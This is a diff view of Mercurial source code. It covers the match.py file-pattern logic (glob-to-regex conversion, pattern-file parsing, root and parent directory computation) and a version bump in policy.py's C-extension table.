1094 '''If pattern is 'kind:pat' with a known kind, return kind.
1092 '''If pattern is 'kind:pat' with a known kind, return kind.
1095
1093
1096 >>> patkind(br're:.*\.c$')
1094 >>> patkind(br're:.*\.c$')
1097 're'
1095 're'
1098 >>> patkind(b'glob:*.c')
1096 >>> patkind(b'glob:*.c')
1099 'glob'
1097 'glob'
1100 >>> patkind(b'relpath:test.py')
1098 >>> patkind(b'relpath:test.py')
1101 'relpath'
1099 'relpath'
1102 >>> patkind(b'main.py')
1100 >>> patkind(b'main.py')
1103 >>> patkind(b'main.py', default=b're')
1101 >>> patkind(b'main.py', default=b're')
1104 're'
1102 're'
1105 '''
1103 '''
1106 return _patsplit(pattern, default)[0]
1104 return _patsplit(pattern, default)[0]
1107
1105
1108 def _patsplit(pattern, default):
1106 def _patsplit(pattern, default):
1109 """Split a string into the optional pattern kind prefix and the actual
1107 """Split a string into the optional pattern kind prefix and the actual
1110 pattern."""
1108 pattern."""
1111 if ':' in pattern:
1109 if ':' in pattern:
1112 kind, pat = pattern.split(':', 1)
1110 kind, pat = pattern.split(':', 1)
1113 if kind in allpatternkinds:
1111 if kind in allpatternkinds:
1114 return kind, pat
1112 return kind, pat
1115 return default, pattern
1113 return default, pattern
1116
1114
1117 def _globre(pat):
1115 def _globre(pat):
1118 r'''Convert an extended glob string to a regexp string.
1116 r'''Convert an extended glob string to a regexp string.
1119
1117
1120 >>> from . import pycompat
1118 >>> from . import pycompat
1121 >>> def bprint(s):
1119 >>> def bprint(s):
1122 ... print(pycompat.sysstr(s))
1120 ... print(pycompat.sysstr(s))
1123 >>> bprint(_globre(br'?'))
1121 >>> bprint(_globre(br'?'))
1124 .
1122 .
1125 >>> bprint(_globre(br'*'))
1123 >>> bprint(_globre(br'*'))
1126 [^/]*
1124 [^/]*
1127 >>> bprint(_globre(br'**'))
1125 >>> bprint(_globre(br'**'))
1128 .*
1126 .*
1129 >>> bprint(_globre(br'**/a'))
1127 >>> bprint(_globre(br'**/a'))
1130 (?:.*/)?a
1128 (?:.*/)?a
1131 >>> bprint(_globre(br'a/**/b'))
1129 >>> bprint(_globre(br'a/**/b'))
1132 a/(?:.*/)?b
1130 a/(?:.*/)?b
1133 >>> bprint(_globre(br'[a*?!^][^b][!c]'))
1131 >>> bprint(_globre(br'[a*?!^][^b][!c]'))
1134 [a*?!^][\^b][^c]
1132 [a*?!^][\^b][^c]
1135 >>> bprint(_globre(br'{a,b}'))
1133 >>> bprint(_globre(br'{a,b}'))
1136 (?:a|b)
1134 (?:a|b)
1137 >>> bprint(_globre(br'.\*\?'))
1135 >>> bprint(_globre(br'.\*\?'))
1138 \.\*\?
1136 \.\*\?
1139 '''
1137 '''
1140 i, n = 0, len(pat)
1138 i, n = 0, len(pat)
1141 res = ''
1139 res = ''
1142 group = 0
1140 group = 0
1143 escape = util.stringutil.regexbytesescapemap.get
1141 escape = util.stringutil.regexbytesescapemap.get
1144 def peek():
1142 def peek():
1145 return i < n and pat[i:i + 1]
1143 return i < n and pat[i:i + 1]
1146 while i < n:
1144 while i < n:
1147 c = pat[i:i + 1]
1145 c = pat[i:i + 1]
1148 i += 1
1146 i += 1
1149 if c not in '*?[{},\\':
1147 if c not in '*?[{},\\':
1150 res += escape(c, c)
1148 res += escape(c, c)
1151 elif c == '*':
1149 elif c == '*':
1152 if peek() == '*':
1150 if peek() == '*':
1153 i += 1
1151 i += 1
1154 if peek() == '/':
1152 if peek() == '/':
1155 i += 1
1153 i += 1
1156 res += '(?:.*/)?'
1154 res += '(?:.*/)?'
1157 else:
1155 else:
1158 res += '.*'
1156 res += '.*'
1159 else:
1157 else:
1160 res += '[^/]*'
1158 res += '[^/]*'
1161 elif c == '?':
1159 elif c == '?':
1162 res += '.'
1160 res += '.'
1163 elif c == '[':
1161 elif c == '[':
1164 j = i
1162 j = i
1165 if j < n and pat[j:j + 1] in '!]':
1163 if j < n and pat[j:j + 1] in '!]':
1166 j += 1
1164 j += 1
1167 while j < n and pat[j:j + 1] != ']':
1165 while j < n and pat[j:j + 1] != ']':
1168 j += 1
1166 j += 1
1169 if j >= n:
1167 if j >= n:
1170 res += '\\['
1168 res += '\\['
1171 else:
1169 else:
1172 stuff = pat[i:j].replace('\\','\\\\')
1170 stuff = pat[i:j].replace('\\','\\\\')
1173 i = j + 1
1171 i = j + 1
1174 if stuff[0:1] == '!':
1172 if stuff[0:1] == '!':
1175 stuff = '^' + stuff[1:]
1173 stuff = '^' + stuff[1:]
1176 elif stuff[0:1] == '^':
1174 elif stuff[0:1] == '^':
1177 stuff = '\\' + stuff
1175 stuff = '\\' + stuff
1178 res = '%s[%s]' % (res, stuff)
1176 res = '%s[%s]' % (res, stuff)
1179 elif c == '{':
1177 elif c == '{':
1180 group += 1
1178 group += 1
1181 res += '(?:'
1179 res += '(?:'
1182 elif c == '}' and group:
1180 elif c == '}' and group:
1183 res += ')'
1181 res += ')'
1184 group -= 1
1182 group -= 1
1185 elif c == ',' and group:
1183 elif c == ',' and group:
1186 res += '|'
1184 res += '|'
1187 elif c == '\\':
1185 elif c == '\\':
1188 p = peek()
1186 p = peek()
1189 if p:
1187 if p:
1190 i += 1
1188 i += 1
1191 res += escape(p, p)
1189 res += escape(p, p)
1192 else:
1190 else:
1193 res += escape(c, c)
1191 res += escape(c, c)
1194 else:
1192 else:
1195 res += escape(c, c)
1193 res += escape(c, c)
1196 return res
1194 return res
1197
1195
1198 def _regex(kind, pat, globsuffix):
1196 def _regex(kind, pat, globsuffix):
1199 '''Convert a (normalized) pattern of any kind into a
1197 '''Convert a (normalized) pattern of any kind into a
1200 regular expression.
1198 regular expression.
1201 globsuffix is appended to the regexp of globs.'''
1199 globsuffix is appended to the regexp of globs.'''
1202
1200
1203 if rustext is not None:
1201 if rustext is not None:
1204 try:
1202 try:
1205 return rustext.filepatterns.build_single_regex(
1203 return rustext.filepatterns.build_single_regex(
1206 kind,
1204 kind,
1207 pat,
1205 pat,
1208 globsuffix
1206 globsuffix
1209 )
1207 )
1210 except rustext.filepatterns.PatternError:
1208 except rustext.filepatterns.PatternError:
1211 raise error.ProgrammingError(
1209 raise error.ProgrammingError(
1212 'not a regex pattern: %s:%s' % (kind, pat)
1210 'not a regex pattern: %s:%s' % (kind, pat)
1213 )
1211 )
1214
1212
1215 if not pat and kind in ('glob', 'relpath'):
1213 if not pat and kind in ('glob', 'relpath'):
1216 return ''
1214 return ''
1217 if kind == 're':
1215 if kind == 're':
1218 return pat
1216 return pat
1219 if kind in ('path', 'relpath'):
1217 if kind in ('path', 'relpath'):
1220 if pat == '.':
1218 if pat == '.':
1221 return ''
1219 return ''
1222 return util.stringutil.reescape(pat) + '(?:/|$)'
1220 return util.stringutil.reescape(pat) + '(?:/|$)'
1223 if kind == 'rootfilesin':
1221 if kind == 'rootfilesin':
1224 if pat == '.':
1222 if pat == '.':
1225 escaped = ''
1223 escaped = ''
1226 else:
1224 else:
1227 # Pattern is a directory name.
1225 # Pattern is a directory name.
1228 escaped = util.stringutil.reescape(pat) + '/'
1226 escaped = util.stringutil.reescape(pat) + '/'
1229 # Anything after the pattern must be a non-directory.
1227 # Anything after the pattern must be a non-directory.
1230 return escaped + '[^/]+$'
1228 return escaped + '[^/]+$'
1231 if kind == 'relglob':
1229 if kind == 'relglob':
1232 return '(?:|.*/)' + _globre(pat) + globsuffix
1230 return '(?:|.*/)' + _globre(pat) + globsuffix
1233 if kind == 'relre':
1231 if kind == 'relre':
1234 if pat.startswith('^'):
1232 if pat.startswith('^'):
1235 return pat
1233 return pat
1236 return '.*' + pat
1234 return '.*' + pat
1237 if kind in ('glob', 'rootglob'):
1235 if kind in ('glob', 'rootglob'):
1238 return _globre(pat) + globsuffix
1236 return _globre(pat) + globsuffix
1239 raise error.ProgrammingError('not a regex pattern: %s:%s' % (kind, pat))
1237 raise error.ProgrammingError('not a regex pattern: %s:%s' % (kind, pat))
1240
1238
1241 def _buildmatch(kindpats, globsuffix, root):
1239 def _buildmatch(kindpats, globsuffix, root):
1242 '''Return regexp string and a matcher function for kindpats.
1240 '''Return regexp string and a matcher function for kindpats.
1243 globsuffix is appended to the regexp of globs.'''
1241 globsuffix is appended to the regexp of globs.'''
1244 matchfuncs = []
1242 matchfuncs = []
1245
1243
1246 subincludes, kindpats = _expandsubinclude(kindpats, root)
1244 subincludes, kindpats = _expandsubinclude(kindpats, root)
1247 if subincludes:
1245 if subincludes:
1248 submatchers = {}
1246 submatchers = {}
1249 def matchsubinclude(f):
1247 def matchsubinclude(f):
1250 for prefix, matcherargs in subincludes:
1248 for prefix, matcherargs in subincludes:
1251 if f.startswith(prefix):
1249 if f.startswith(prefix):
1252 mf = submatchers.get(prefix)
1250 mf = submatchers.get(prefix)
1253 if mf is None:
1251 if mf is None:
1254 mf = match(*matcherargs)
1252 mf = match(*matcherargs)
1255 submatchers[prefix] = mf
1253 submatchers[prefix] = mf
1256
1254
1257 if mf(f[len(prefix):]):
1255 if mf(f[len(prefix):]):
1258 return True
1256 return True
1259 return False
1257 return False
1260 matchfuncs.append(matchsubinclude)
1258 matchfuncs.append(matchsubinclude)
1261
1259
1262 regex = ''
1260 regex = ''
1263 if kindpats:
1261 if kindpats:
1264 if all(k == 'rootfilesin' for k, p, s in kindpats):
1262 if all(k == 'rootfilesin' for k, p, s in kindpats):
1265 dirs = {p for k, p, s in kindpats}
1263 dirs = {p for k, p, s in kindpats}
1266 def mf(f):
1264 def mf(f):
1267 i = f.rfind('/')
1265 i = f.rfind('/')
1268 if i >= 0:
1266 if i >= 0:
1269 dir = f[:i]
1267 dir = f[:i]
1270 else:
1268 else:
1271 dir = '.'
1269 dir = '.'
1272 return dir in dirs
1270 return dir in dirs
1273 regex = b'rootfilesin: %s' % stringutil.pprint(list(sorted(dirs)))
1271 regex = b'rootfilesin: %s' % stringutil.pprint(list(sorted(dirs)))
1274 matchfuncs.append(mf)
1272 matchfuncs.append(mf)
1275 else:
1273 else:
1276 regex, mf = _buildregexmatch(kindpats, globsuffix)
1274 regex, mf = _buildregexmatch(kindpats, globsuffix)
1277 matchfuncs.append(mf)
1275 matchfuncs.append(mf)
1278
1276
1279 if len(matchfuncs) == 1:
1277 if len(matchfuncs) == 1:
1280 return regex, matchfuncs[0]
1278 return regex, matchfuncs[0]
1281 else:
1279 else:
1282 return regex, lambda f: any(mf(f) for mf in matchfuncs)
1280 return regex, lambda f: any(mf(f) for mf in matchfuncs)
1283
1281
1284 MAX_RE_SIZE = 20000
1282 MAX_RE_SIZE = 20000
1285
1283
1286 def _joinregexes(regexps):
1284 def _joinregexes(regexps):
1287 """gather multiple regular expressions into a single one"""
1285 """gather multiple regular expressions into a single one"""
1288 return '|'.join(regexps)
1286 return '|'.join(regexps)
1289
1287
1290 def _buildregexmatch(kindpats, globsuffix):
1288 def _buildregexmatch(kindpats, globsuffix):
1291 """Build a match function from a list of kinds and kindpats,
1289 """Build a match function from a list of kinds and kindpats,
1292 return regexp string and a matcher function.
1290 return regexp string and a matcher function.
1293
1291
1294 Test too large input
1292 Test too large input
1295 >>> _buildregexmatch([
1293 >>> _buildregexmatch([
1296 ... (b'relglob', b'?' * MAX_RE_SIZE, b'')
1294 ... (b'relglob', b'?' * MAX_RE_SIZE, b'')
1297 ... ], b'$')
1295 ... ], b'$')
1298 Traceback (most recent call last):
1296 Traceback (most recent call last):
1299 ...
1297 ...
1300 Abort: matcher pattern is too long (20009 bytes)
1298 Abort: matcher pattern is too long (20009 bytes)
1301 """
1299 """
1302 try:
1300 try:
1303 allgroups = []
1301 allgroups = []
1304 regexps = [_regex(k, p, globsuffix) for (k, p, s) in kindpats]
1302 regexps = [_regex(k, p, globsuffix) for (k, p, s) in kindpats]
1305 fullregexp = _joinregexes(regexps)
1303 fullregexp = _joinregexes(regexps)
1306
1304
1307 startidx = 0
1305 startidx = 0
1308 groupsize = 0
1306 groupsize = 0
1309 for idx, r in enumerate(regexps):
1307 for idx, r in enumerate(regexps):
1310 piecesize = len(r)
1308 piecesize = len(r)
1311 if piecesize > MAX_RE_SIZE:
1309 if piecesize > MAX_RE_SIZE:
1312 msg = _("matcher pattern is too long (%d bytes)") % piecesize
1310 msg = _("matcher pattern is too long (%d bytes)") % piecesize
1313 raise error.Abort(msg)
1311 raise error.Abort(msg)
1314 elif (groupsize + piecesize) > MAX_RE_SIZE:
1312 elif (groupsize + piecesize) > MAX_RE_SIZE:
1315 group = regexps[startidx:idx]
1313 group = regexps[startidx:idx]
1316 allgroups.append(_joinregexes(group))
1314 allgroups.append(_joinregexes(group))
1317 startidx = idx
1315 startidx = idx
1318 groupsize = 0
1316 groupsize = 0
1319 groupsize += piecesize + 1
1317 groupsize += piecesize + 1
1320
1318
1321 if startidx == 0:
1319 if startidx == 0:
1322 matcher = _rematcher(fullregexp)
1320 matcher = _rematcher(fullregexp)
1323 func = lambda s: bool(matcher(s))
1321 func = lambda s: bool(matcher(s))
1324 else:
1322 else:
1325 group = regexps[startidx:]
1323 group = regexps[startidx:]
1326 allgroups.append(_joinregexes(group))
1324 allgroups.append(_joinregexes(group))
1327 allmatchers = [_rematcher(g) for g in allgroups]
1325 allmatchers = [_rematcher(g) for g in allgroups]
1328 func = lambda s: any(m(s) for m in allmatchers)
1326 func = lambda s: any(m(s) for m in allmatchers)
1329 return fullregexp, func
1327 return fullregexp, func
1330 except re.error:
1328 except re.error:
1331 for k, p, s in kindpats:
1329 for k, p, s in kindpats:
1332 try:
1330 try:
1333 _rematcher(_regex(k, p, globsuffix))
1331 _rematcher(_regex(k, p, globsuffix))
1334 except re.error:
1332 except re.error:
1335 if s:
1333 if s:
1336 raise error.Abort(_("%s: invalid pattern (%s): %s") %
1334 raise error.Abort(_("%s: invalid pattern (%s): %s") %
1337 (s, k, p))
1335 (s, k, p))
1338 else:
1336 else:
1339 raise error.Abort(_("invalid pattern (%s): %s") % (k, p))
1337 raise error.Abort(_("invalid pattern (%s): %s") % (k, p))
1340 raise error.Abort(_("invalid pattern"))
1338 raise error.Abort(_("invalid pattern"))
1341
1339
1342 def _patternrootsanddirs(kindpats):
1340 def _patternrootsanddirs(kindpats):
1343 '''Returns roots and directories corresponding to each pattern.
1341 '''Returns roots and directories corresponding to each pattern.
1344
1342
1345 This calculates the roots and directories exactly matching the patterns and
1343 This calculates the roots and directories exactly matching the patterns and
1346 returns a tuple of (roots, dirs) for each. It does not return other
1344 returns a tuple of (roots, dirs) for each. It does not return other
1347 directories which may also need to be considered, like the parent
1345 directories which may also need to be considered, like the parent
1348 directories.
1346 directories.
1349 '''
1347 '''
1350 r = []
1348 r = []
1351 d = []
1349 d = []
1352 for kind, pat, source in kindpats:
1350 for kind, pat, source in kindpats:
1353 if kind in ('glob', 'rootglob'): # find the non-glob prefix
1351 if kind in ('glob', 'rootglob'): # find the non-glob prefix
1354 root = []
1352 root = []
1355 for p in pat.split('/'):
1353 for p in pat.split('/'):
1356 if '[' in p or '{' in p or '*' in p or '?' in p:
1354 if '[' in p or '{' in p or '*' in p or '?' in p:
1357 break
1355 break
1358 root.append(p)
1356 root.append(p)
1359 r.append('/'.join(root))
1357 r.append('/'.join(root))
1360 elif kind in ('relpath', 'path'):
1358 elif kind in ('relpath', 'path'):
1361 if pat == '.':
1359 if pat == '.':
1362 pat = ''
1360 pat = ''
1363 r.append(pat)
1361 r.append(pat)
1364 elif kind in ('rootfilesin',):
1362 elif kind in ('rootfilesin',):
1365 if pat == '.':
1363 if pat == '.':
1366 pat = ''
1364 pat = ''
1367 d.append(pat)
1365 d.append(pat)
1368 else: # relglob, re, relre
1366 else: # relglob, re, relre
1369 r.append('')
1367 r.append('')
1370 return r, d
1368 return r, d
1371
1369
1372 def _roots(kindpats):
1370 def _roots(kindpats):
1373 '''Returns root directories to match recursively from the given patterns.'''
1371 '''Returns root directories to match recursively from the given patterns.'''
1374 roots, dirs = _patternrootsanddirs(kindpats)
1372 roots, dirs = _patternrootsanddirs(kindpats)
1375 return roots
1373 return roots
1376
1374
1377 def _rootsdirsandparents(kindpats):
1375 def _rootsdirsandparents(kindpats):
1378 '''Returns roots and exact directories from patterns.
1376 '''Returns roots and exact directories from patterns.
1379
1377
1380 `roots` are directories to match recursively, `dirs` should
1378 `roots` are directories to match recursively, `dirs` should
1381 be matched non-recursively, and `parents` are the implicitly required
1379 be matched non-recursively, and `parents` are the implicitly required
1382 directories to walk to items in either roots or dirs.
1380 directories to walk to items in either roots or dirs.
1383
1381
1384 Returns a tuple of (roots, dirs, parents).
1382 Returns a tuple of (roots, dirs, parents).
1385
1383
1386 >>> _rootsdirsandparents(
1384 >>> _rootsdirsandparents(
1387 ... [(b'glob', b'g/h/*', b''), (b'glob', b'g/h', b''),
1385 ... [(b'glob', b'g/h/*', b''), (b'glob', b'g/h', b''),
1388 ... (b'glob', b'g*', b'')])
1386 ... (b'glob', b'g*', b'')])
1389 (['g/h', 'g/h', ''], [], ['g', ''])
1387 (['g/h', 'g/h', ''], [], ['', 'g'])
1390 >>> _rootsdirsandparents(
1388 >>> _rootsdirsandparents(
1391 ... [(b'rootfilesin', b'g/h', b''), (b'rootfilesin', b'', b'')])
1389 ... [(b'rootfilesin', b'g/h', b''), (b'rootfilesin', b'', b'')])
1392 ([], ['g/h', ''], ['g', ''])
1390 ([], ['g/h', ''], ['', 'g'])
1393 >>> _rootsdirsandparents(
1391 >>> _rootsdirsandparents(
1394 ... [(b'relpath', b'r', b''), (b'path', b'p/p', b''),
1392 ... [(b'relpath', b'r', b''), (b'path', b'p/p', b''),
1395 ... (b'path', b'', b'')])
1393 ... (b'path', b'', b'')])
1396 (['r', 'p/p', ''], [], ['p', ''])
1394 (['r', 'p/p', ''], [], ['', 'p'])
1397 >>> _rootsdirsandparents(
1395 >>> _rootsdirsandparents(
1398 ... [(b'relglob', b'rg*', b''), (b're', b're/', b''),
1396 ... [(b'relglob', b'rg*', b''), (b're', b're/', b''),
1399 ... (b'relre', b'rr', b'')])
1397 ... (b'relre', b'rr', b'')])
1400 (['', '', ''], [], [''])
1398 (['', '', ''], [], [''])
1401 '''
1399 '''
1402 r, d = _patternrootsanddirs(kindpats)
1400 r, d = _patternrootsanddirs(kindpats)
1403
1401
1404 p = []
1402 p = []
1405 # Append the parents as non-recursive/exact directories, since they must be
1403 # Append the parents as non-recursive/exact directories, since they must be
1406 # scanned to get to either the roots or the other exact directories.
1404 # scanned to get to either the roots or the other exact directories.
1407 p.extend(util.dirs(d))
1405 p.extend(util.dirs(d))
1408 p.extend(util.dirs(r))
1406 p.extend(util.dirs(r))
1409 # util.dirs() does not include the root directory, so add it manually
1410 p.append('')
1411
1407
1412 # FIXME: all uses of this function convert these to sets, do so before
1408 # FIXME: all uses of this function convert these to sets, do so before
1413 # returning.
1409 # returning.
1414 # FIXME: all uses of this function do not need anything in 'roots' and
1410 # FIXME: all uses of this function do not need anything in 'roots' and
1415 # 'dirs' to also be in 'parents', consider removing them before returning.
1411 # 'dirs' to also be in 'parents', consider removing them before returning.
1416 return r, d, p
1412 return r, d, p
1417
1413
1418 def _explicitfiles(kindpats):
1414 def _explicitfiles(kindpats):
1419 '''Returns the potential explicit filenames from the patterns.
1415 '''Returns the potential explicit filenames from the patterns.
1420
1416
1421 >>> _explicitfiles([(b'path', b'foo/bar', b'')])
1417 >>> _explicitfiles([(b'path', b'foo/bar', b'')])
1422 ['foo/bar']
1418 ['foo/bar']
1423 >>> _explicitfiles([(b'rootfilesin', b'foo/bar', b'')])
1419 >>> _explicitfiles([(b'rootfilesin', b'foo/bar', b'')])
1424 []
1420 []
1425 '''
1421 '''
1426 # Keep only the pattern kinds where one can specify filenames (vs only
1422 # Keep only the pattern kinds where one can specify filenames (vs only
1427 # directory names).
1423 # directory names).
1428 filable = [kp for kp in kindpats if kp[0] not in ('rootfilesin',)]
1424 filable = [kp for kp in kindpats if kp[0] not in ('rootfilesin',)]
1429 return _roots(filable)
1425 return _roots(filable)
1430
1426
1431 def _prefix(kindpats):
1427 def _prefix(kindpats):
1432 '''Whether all the patterns match a prefix (i.e. recursively)'''
1428 '''Whether all the patterns match a prefix (i.e. recursively)'''
1433 for kind, pat, source in kindpats:
1429 for kind, pat, source in kindpats:
1434 if kind not in ('path', 'relpath'):
1430 if kind not in ('path', 'relpath'):
1435 return False
1431 return False
1436 return True
1432 return True
1437
1433
1438 _commentre = None
1434 _commentre = None
1439
1435
1440 def readpatternfile(filepath, warn, sourceinfo=False):
1436 def readpatternfile(filepath, warn, sourceinfo=False):
1441 '''parse a pattern file, returning a list of
1437 '''parse a pattern file, returning a list of
1442 patterns. These patterns should be given to compile()
1438 patterns. These patterns should be given to compile()
1443 to be validated and converted into a match function.
1439 to be validated and converted into a match function.
1444
1440
1445 trailing white space is dropped.
1441 trailing white space is dropped.
1446 the escape character is backslash.
1442 the escape character is backslash.
1447 comments start with #.
1443 comments start with #.
1448 empty lines are skipped.
1444 empty lines are skipped.
1449
1445
1450 lines can be of the following formats:
1446 lines can be of the following formats:
1451
1447
1452 syntax: regexp # defaults following lines to non-rooted regexps
1448 syntax: regexp # defaults following lines to non-rooted regexps
1453 syntax: glob # defaults following lines to non-rooted globs
1449 syntax: glob # defaults following lines to non-rooted globs
1454 re:pattern # non-rooted regular expression
1450 re:pattern # non-rooted regular expression
1455 glob:pattern # non-rooted glob
1451 glob:pattern # non-rooted glob
1456 rootglob:pat # rooted glob (same root as ^ in regexps)
1452 rootglob:pat # rooted glob (same root as ^ in regexps)
1457 pattern # pattern of the current default type
1453 pattern # pattern of the current default type
1458
1454
1459 if sourceinfo is set, returns a list of tuples:
1455 if sourceinfo is set, returns a list of tuples:
1460 (pattern, lineno, originalline).
1456 (pattern, lineno, originalline).
1461 This is useful to debug ignore patterns.
1457 This is useful to debug ignore patterns.
1462 '''
1458 '''
1463
1459
1464 if rustext is not None:
1460 if rustext is not None:
1465 result, warnings = rustext.filepatterns.read_pattern_file(
1461 result, warnings = rustext.filepatterns.read_pattern_file(
1466 filepath,
1462 filepath,
1467 bool(warn),
1463 bool(warn),
1468 sourceinfo,
1464 sourceinfo,
1469 )
1465 )
1470
1466
1471 for warning_params in warnings:
1467 for warning_params in warnings:
1472 # Can't be easily emitted from Rust, because it would require
1468 # Can't be easily emitted from Rust, because it would require
1473 # a mechanism for both gettext and calling the `warn` function.
1469 # a mechanism for both gettext and calling the `warn` function.
1474 warn(_("%s: ignoring invalid syntax '%s'\n") % warning_params)
1470 warn(_("%s: ignoring invalid syntax '%s'\n") % warning_params)
1475
1471
1476 return result
1472 return result
1477
1473
1478 syntaxes = {
1474 syntaxes = {
1479 're': 'relre:',
1475 're': 'relre:',
1480 'regexp': 'relre:',
1476 'regexp': 'relre:',
1481 'glob': 'relglob:',
1477 'glob': 'relglob:',
1482 'rootglob': 'rootglob:',
1478 'rootglob': 'rootglob:',
1483 'include': 'include',
1479 'include': 'include',
1484 'subinclude': 'subinclude',
1480 'subinclude': 'subinclude',
1485 }
1481 }
1486 syntax = 'relre:'
1482 syntax = 'relre:'
1487 patterns = []
1483 patterns = []
1488
1484
1489 fp = open(filepath, 'rb')
1485 fp = open(filepath, 'rb')
1490 for lineno, line in enumerate(util.iterfile(fp), start=1):
1486 for lineno, line in enumerate(util.iterfile(fp), start=1):
1491 if "#" in line:
1487 if "#" in line:
1492 global _commentre
1488 global _commentre
1493 if not _commentre:
1489 if not _commentre:
1494 _commentre = util.re.compile(br'((?:^|[^\\])(?:\\\\)*)#.*')
1490 _commentre = util.re.compile(br'((?:^|[^\\])(?:\\\\)*)#.*')
1495 # remove comments prefixed by an even number of escapes
1491 # remove comments prefixed by an even number of escapes
1496 m = _commentre.search(line)
1492 m = _commentre.search(line)
1497 if m:
1493 if m:
1498 line = line[:m.end(1)]
1494 line = line[:m.end(1)]
1499 # fixup properly escaped comments that survived the above
1495 # fixup properly escaped comments that survived the above
1500 line = line.replace("\\#", "#")
1496 line = line.replace("\\#", "#")
1501 line = line.rstrip()
1497 line = line.rstrip()
1502 if not line:
1498 if not line:
1503 continue
1499 continue
1504
1500
1505 if line.startswith('syntax:'):
1501 if line.startswith('syntax:'):
1506 s = line[7:].strip()
1502 s = line[7:].strip()
1507 try:
1503 try:
1508 syntax = syntaxes[s]
1504 syntax = syntaxes[s]
1509 except KeyError:
1505 except KeyError:
1510 if warn:
1506 if warn:
1511 warn(_("%s: ignoring invalid syntax '%s'\n") %
1507 warn(_("%s: ignoring invalid syntax '%s'\n") %
1512 (filepath, s))
1508 (filepath, s))
1513 continue
1509 continue
1514
1510
1515 linesyntax = syntax
1511 linesyntax = syntax
1516 for s, rels in syntaxes.iteritems():
1512 for s, rels in syntaxes.iteritems():
1517 if line.startswith(rels):
1513 if line.startswith(rels):
1518 linesyntax = rels
1514 linesyntax = rels
1519 line = line[len(rels):]
1515 line = line[len(rels):]
1520 break
1516 break
1521 elif line.startswith(s+':'):
1517 elif line.startswith(s+':'):
1522 linesyntax = rels
1518 linesyntax = rels
1523 line = line[len(s) + 1:]
1519 line = line[len(s) + 1:]
1524 break
1520 break
1525 if sourceinfo:
1521 if sourceinfo:
1526 patterns.append((linesyntax + line, lineno, line))
1522 patterns.append((linesyntax + line, lineno, line))
1527 else:
1523 else:
1528 patterns.append(linesyntax + line)
1524 patterns.append(linesyntax + line)
1529 fp.close()
1525 fp.close()
1530 return patterns
1526 return patterns
@@ -1,109 +1,109
1 # policy.py - module policy logic for Mercurial.
1 # policy.py - module policy logic for Mercurial.
2 #
2 #
3 # Copyright 2015 Gregory Szorc <gregory.szorc@gmail.com>
3 # Copyright 2015 Gregory Szorc <gregory.szorc@gmail.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import os
10 import os
11 import sys
11 import sys
12
12
13 # Rules for how modules can be loaded. Values are:
13 # Rules for how modules can be loaded. Values are:
14 #
14 #
15 # c - require C extensions
15 # c - require C extensions
16 # allow - allow pure Python implementation when C loading fails
16 # allow - allow pure Python implementation when C loading fails
17 # cffi - required cffi versions (implemented within pure module)
17 # cffi - required cffi versions (implemented within pure module)
18 # cffi-allow - allow pure Python implementation if cffi version is missing
18 # cffi-allow - allow pure Python implementation if cffi version is missing
19 # py - only load pure Python modules
19 # py - only load pure Python modules
20 #
20 #
21 # By default, fall back to the pure modules so the in-place build can
21 # By default, fall back to the pure modules so the in-place build can
22 # run without recompiling the C extensions. This will be overridden by
22 # run without recompiling the C extensions. This will be overridden by
23 # __modulepolicy__ generated by setup.py.
23 # __modulepolicy__ generated by setup.py.
24 policy = b'allow'
24 policy = b'allow'
25 _packageprefs = {
25 _packageprefs = {
26 # policy: (versioned package, pure package)
26 # policy: (versioned package, pure package)
27 b'c': (r'cext', None),
27 b'c': (r'cext', None),
28 b'allow': (r'cext', r'pure'),
28 b'allow': (r'cext', r'pure'),
29 b'cffi': (r'cffi', None),
29 b'cffi': (r'cffi', None),
30 b'cffi-allow': (r'cffi', r'pure'),
30 b'cffi-allow': (r'cffi', r'pure'),
31 b'py': (None, r'pure'),
31 b'py': (None, r'pure'),
32 }
32 }
33
33
34 try:
34 try:
35 from . import __modulepolicy__
35 from . import __modulepolicy__
36 policy = __modulepolicy__.modulepolicy
36 policy = __modulepolicy__.modulepolicy
37 except ImportError:
37 except ImportError:
38 pass
38 pass
39
39
40 # PyPy doesn't load C extensions.
40 # PyPy doesn't load C extensions.
41 #
41 #
42 # The canonical way to do this is to test platform.python_implementation().
42 # The canonical way to do this is to test platform.python_implementation().
43 # But we don't import platform and don't bloat for it here.
43 # But we don't import platform and don't bloat for it here.
44 if r'__pypy__' in sys.builtin_module_names:
44 if r'__pypy__' in sys.builtin_module_names:
45 policy = b'cffi'
45 policy = b'cffi'
46
46
47 # Environment variable can always force settings.
47 # Environment variable can always force settings.
48 if sys.version_info[0] >= 3:
48 if sys.version_info[0] >= 3:
49 if r'HGMODULEPOLICY' in os.environ:
49 if r'HGMODULEPOLICY' in os.environ:
50 policy = os.environ[r'HGMODULEPOLICY'].encode(r'utf-8')
50 policy = os.environ[r'HGMODULEPOLICY'].encode(r'utf-8')
51 else:
51 else:
52 policy = os.environ.get(r'HGMODULEPOLICY', policy)
52 policy = os.environ.get(r'HGMODULEPOLICY', policy)
53
53
54 def _importfrom(pkgname, modname):
54 def _importfrom(pkgname, modname):
55 # from .<pkgname> import <modname> (where . is looked through this module)
55 # from .<pkgname> import <modname> (where . is looked through this module)
56 fakelocals = {}
56 fakelocals = {}
57 pkg = __import__(pkgname, globals(), fakelocals, [modname], level=1)
57 pkg = __import__(pkgname, globals(), fakelocals, [modname], level=1)
58 try:
58 try:
59 fakelocals[modname] = mod = getattr(pkg, modname)
59 fakelocals[modname] = mod = getattr(pkg, modname)
60 except AttributeError:
60 except AttributeError:
61 raise ImportError(r'cannot import name %s' % modname)
61 raise ImportError(r'cannot import name %s' % modname)
62 # force import; fakelocals[modname] may be replaced with the real module
62 # force import; fakelocals[modname] may be replaced with the real module
63 getattr(mod, r'__doc__', None)
63 getattr(mod, r'__doc__', None)
64 return fakelocals[modname]
64 return fakelocals[modname]
65
65
66 # keep in sync with "version" in C modules
66 # keep in sync with "version" in C modules
67 _cextversions = {
67 _cextversions = {
68 (r'cext', r'base85'): 1,
68 (r'cext', r'base85'): 1,
69 (r'cext', r'bdiff'): 3,
69 (r'cext', r'bdiff'): 3,
70 (r'cext', r'mpatch'): 1,
70 (r'cext', r'mpatch'): 1,
71 (r'cext', r'osutil'): 4,
71 (r'cext', r'osutil'): 4,
72 (r'cext', r'parsers'): 12,
72 (r'cext', r'parsers'): 13,
73 }
73 }
74
74
75 # map import request to other package or module
75 # map import request to other package or module
